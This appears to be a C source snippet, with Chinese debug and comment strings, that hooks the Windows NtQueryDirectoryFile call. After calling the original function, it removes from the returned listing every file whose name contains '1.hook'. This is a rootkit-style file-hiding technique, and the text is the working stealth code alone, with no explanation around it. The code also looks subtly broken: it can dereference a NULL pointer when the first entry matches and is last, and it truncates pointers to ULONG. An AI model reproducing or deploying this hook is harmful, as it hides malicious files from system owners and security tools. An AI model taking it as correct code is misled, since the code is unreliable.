NTSTATUS WINAPI Hook_NtQueryDirectoryFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,

IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL,

OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID FileInformation,

IN ULONG FileInformationLength,IN FILE_INFORMATION_CLASS FileInformationClass,

IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL,IN BOOLEAN RestartScan)

{

NTSTATUS Status=STATUS_SUCCESS;

Status=OldNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,\

  IoStatusBlock,FileInformation,FileInformationLength,\

  FileInformationClass,ReturnSingleEntry,FileName,RestartScan);


if (!NT_SUCCESS(Status))

{

  return Status;

}


//////////////////////////////////

if (FileBothDirectoryInformation==FileInformationClass)

{

  FILE_BOTH_DIRECTORY_INFORMATION* pFileInfo = (FILE_BOTH_DIRECTORY_INFORMATION*)FileInformation;

  FILE_BOTH_DIRECTORY_INFORMATION* pLastFileInfo = NULL;

  BOOL bLastFlag=FALSE;

  do

  {

   bLastFlag=!(pFileInfo->NextEntryOffset);

   if (NULL!=wcsstr(pFileInfo->FileName,L"1.hook"))

   {

    OutputDebugStringW(L"已发现目标");

    if (bLastFlag) //链表里最后一个文件

    {


     pLastFileInfo->NextEntryOffset=0;

     break;

    }

    else

    {

     int iPos = (ULONG)pFileInfo - (ULONG)FileInformation;

     int iLeft = (ULONG)FileInformationLength - iPos - pFileInfo->NextEntryOffset;


     RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), iLeft );

                      continue;

    }

   }


   pLastFileInfo=pFileInfo;

   pFileInfo=(PFILE_BOTH_DIRECTORY_INFORMATION)((CHAR*)pFileInfo+pFileInfo->NextEntryOffset);


  }while(!bLastFlag);

}

return Status;

}